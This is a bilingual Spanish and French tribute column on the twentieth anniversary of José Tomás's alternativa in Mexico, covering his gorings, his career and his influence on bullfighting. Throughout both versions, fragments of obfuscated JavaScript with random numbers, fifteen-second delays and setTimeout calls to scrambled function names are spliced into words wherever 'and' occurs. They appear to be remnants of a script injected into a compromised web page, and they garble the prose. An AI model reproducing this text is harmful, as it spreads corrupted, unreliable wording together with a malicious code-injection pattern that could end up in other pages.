VEINTE AÑOS SON TODOVINGT ANS C’EST TOUTE UNE VIE

El pasado jueves, 10 de diciembre, se cumplieron veinte años de la alternativa de José Tomás. La tomó en la monumental de México, de manos de Jorge Gutiérrez y el testimonio de Manolo Mejía, con el toro “Mariachi”, de Xajay, en una tarde de viento, bronquedades y mansedumbre, incapaces de impedirle impactar con fuerza en los tendidos, dejandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando en el tarjetero del tiempo sus inequívocas señas de identidad, que la historia posterior se encargaría de confirmar : una acusada personalidad que lo hacía distinto a todos los demás, una aleación de pureza y elegancia que convertía su toreo en un artículo tan caro como exquisito y un valor seco, sobrio, auténtico y a prueba de cornadas.

Ese mismo día se llevaría una –que le dejó sembrados de puntos de sutura los testículos y el pene– del segundo de su lote, de nombre “Fifís” y perteneciente a la vacada de Teófilo Gómez.

Era su primera cornada como matador de toros, aunque no la primera de su vida ni la primera en México, ya que su bautismo de sangre ocurrió el 22 de mayo del año anterior en la Monumental de Aguascalientes, la ciudad que lo adoptó de primeras como hijo y donde le llenaron las venas de sangre mexicana para reponer la que, en el mismo ruedo, le vació el toro “Navegante”, de Garfias, aquel dramático 24 de abril de 2010, cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando José Tomás visitó la muerte y regresó. Ojalá que ese trágico paréntesis de sangre derramada haya quedado cerrado en el mismo lugar que comenzó y no tenga que padecer su cuerpo más costurones; pero mientras un torero está en activo... ¡quién lo puede saber!

Volviendo del revés lo que el tango de Gardel asegura, en este caso veinte años son todo. Aquel ramillete de propósitos, de ilusiones, de incógnitas, que iba liado en su capote de paseo el día del doctorado, se ha ido despejandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando con el paso del tiempo. Aquella meta acariciada, tan lejana entonces, de ser figura del toreo –cuya definición dio tras su primera Puerta Grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ande de matador de toros en Madrid con tajante seguridad: “Ser figura es torear donde quieras, como quieras y con el dinero que quieras”–, nadie puede dudar que ha sido conseguida hasta el último detalle. Y ha debido de ser muy hermoso ese trasiego de ir convirtiendo sueños en realidades; tan hermoso como duro, arriesgado y difícil.

Escribí en una ocasión que para ser imperecedero, hay que estar dispuesto a perecer, y, José Tomás, La Estatua, el torero que da la sensación de torear con el cuerpo de otro, con la vida de otro, con el dolor de otro, por su impasibilidad ante el peligro, salió con ese talante la inmensa mayoría de las tardes dispuesto a hacerse un sitio en el Olimpo de la inmortalidad; sitio que ya ha conseguido más que sobradamente con los fastos memorables que jalonan su carrera. No obstante, además de su indiscutible éxito personal, su andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andadura de excepcional torero ha dejado logros para la Tauromaquia que mejoran tres aspectos básicos de ésta: el de la ética, el de la estética y el de la metafísica. Éticamente, José Tomás es un restaurador: de la pureza, en una Fiesta prostituida por el exceso de técnica; del pase natural, en la época más derechista de la historia del toreo, y de la solemnidad y respeto al rito, cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando el toreo y el torero se habían degradado chabacanamente. Estéticamente, porque cambia el sitio del toreo –“Se pone –dice Ordóñez- donde otros ponen la muleta”–, porque consigue crear el toreo-caricia y porque, entre 2007 y 2009, esboza una nueva tauromaquia que trata a todos los toros como si fueran buenos, relegandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando a un término secundario la condición de las reses. Y metafísicamente, como torero simbólico, porque saca al toreo de sus parámetros normales instalándolo en esa otra realidad que se asoma al mundo del mito y de la magia; porque, además, dota todo lo que hace de una profunda espiritualidad y porque impone la ética de la autenticidad ante la dictadura falaz de la apariencia.

Tan indiscutible como su triunfo es el hecho de que, gracias a él, el toreo es otro después de la consolidación de su concepto. Su estancia marca un antes y un después en la Fiesta, como ocurrió con Belmonte, con Manolete, con El Cordobés y Paco Ojeda.

Ahora, veinte años después, le espera, con el “No hay billetes” colgado desde hace un mes, la misma plaza que lo vio convertirse en matador de toros. Sólo deseo que los toros que le toquen en suerte le permitan sentirse toreandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando y que su estoque viaje certero, lo demás lo pondrá el público, la prensa y el regocijo del orbe taurino.

¡¡Mucha Suerte, maestro!!

Le jeudi 10 décembre dernier cela faisait vingt ans de l’alternative de José Tomás. Il la prit à la Monumental de Mexico avec pour parrain Jorge Gutierrez et comme témoin Manolo Mejía, avec le toro « Mariachi » de l’élevage de Xajay, un après-midi venteux, empreint de brusqueries, de comportement manso, des conditions qui ne lui empêchèrent point de soulever les gradins, laissant sur la carte du temps ses signes d’identité sans équivoque que l’histoire plus tard se chargerait de confirmer : une personnalité exceptionnelle qui le rendrait différent de tous les autres, un alliage de pureté et d’élégance qui transformerait sa tauromachie en quelque chose d’aussi précieux qu’exquis et un courage sec, sobre, authentique et à l’épreuve des coups de corne.

Ce jour-là il en recevrait un –avec plein points de suture au pénis et aux testicules- de son second toro, appelé « Fifis », et appartenant à l’élevage de Teofilo Gómez. Ce fut son premier coup de corne comme matador de toros, mais non pas la première de sa vie et non plus la première au Mexique, car son « baptême de sang » se produisit le 22 mai de l’année précédente à la Monumental de Aguascalientes, la ville qui l’adopta immédiatement comme fils et qui remplit de sang mexicain ses veines vidées dans ces mêmes arènes par le toro « Navegante » de Garfias, cette journée dramatique du 24 avril 2010, quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and José Tomás visita la mort et revint. Pourvu que cette tragique parenthèse de sang versé se soit refermée dans ce même lieu où tout avait commencé ne se rouvre plus, or le torero est toujours en activité. Qui peut deviner l’avenir ? Revenant en arrière et en paraphrasant ce que disait le tango de Carlos Gardel, vingt c’est toute une vie. Ce bouquet d’intentions, d’espérances, d’inconnues qu’il portait dans sa cape de paseo s’est éclairci avec le temps. Cet horizon caressé, encore lointain, de devenir un jour figura del toreo –dont il donna la définition après sa première Grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ande Porte comme matador à Madrid avec une ferme assurance : « Etre figura c’est toréer où tu veux, comme tu veux et avec l’argent que tu veux », personne ne peut mettre en doute qu’il y est parvenu jusqu’au moindre détail. Et ces moments où les rêves deviennent des réalités ont dû être très beaux, tout aussi merveilleux que durs, risqués et difficiles. J’ai écrit par le passé que pour demeurer à jamais il faut être prêt à périr, et José Tomás, la Statue, le torero qui donne la sensation de toréer dans le corps d’un autre, par son impassibilité face au danger, est sorti toujours avec cet engagement l’immense majorité des fois où il a toréé, prêt à se faire une place dans l’Olympe de l’immortalité. Place qu’il a largement acquise avec les fastes mémorables qui jalonnent sa carrière. Or, hormis son succès personnel indiscutable, sa trajectoire exceptionnelle comme torero ont permis des conquêtes pour la Tauromachie à trois niveaux : étique, esthétique et métaphysique. Etiquement, José Tomás est un restaurateur : de la pureté, dans un spectacle prostitué par l’excès de technique ; de la passe naturelle, à l’époque la plus droitière de l’histoire taurine, et de la solennité et du respect du rite, alors que le toreo et le toreo s’étaient dégradés lamentablement. Esthétiquement, car il change le placement du torero –« il se place –dit Ordoñez- là où d’autres mettent leur muleta »- car il considère la tauromachie comme une caresse et aussi parce qu’entre entre 2007 et 2009 il esquisse une nouvelle tauromachie qui considère comme bons tous les toros, reléguant à un second rang la condition propre à chaque bête. Et métaphysiquement, comme torero symbolique, car il sort la tauromachie de ses paramètres normaux et l’installe dans une autre réalité plus proche du monde du mythe et de celui de la magie, car, en plus, il confère à tout ce qu’il fait une profonde spiritualité et parce qu’il impose l’étique de l’authenticité en opposition à la dictature fallacieuse de l’apparence. Aussi indiscutable que son triomphe est le fait que grâce à lui la corrida est autre après la consolidation de son concept. Sa présence marque un avant et un après, comme ce fut le cas pour Belmonte, Manolete, El Cordobés et Paco Ojeda. Aujourd’hui, vingt ans plus tard, on l’attend, avec le « no hay billetes » affiché depuis plus d’un mois dans les mêmes arènes où il est devenu matador. Je souhaite seulement que les toros qu’il affrontera lui permettent de se faire plaisir à toréer et que l’épée soit efficace, le reste viendra du public, de la presse, de cette immense joie de le revoir. Mucha Suerte, Maestro !!!

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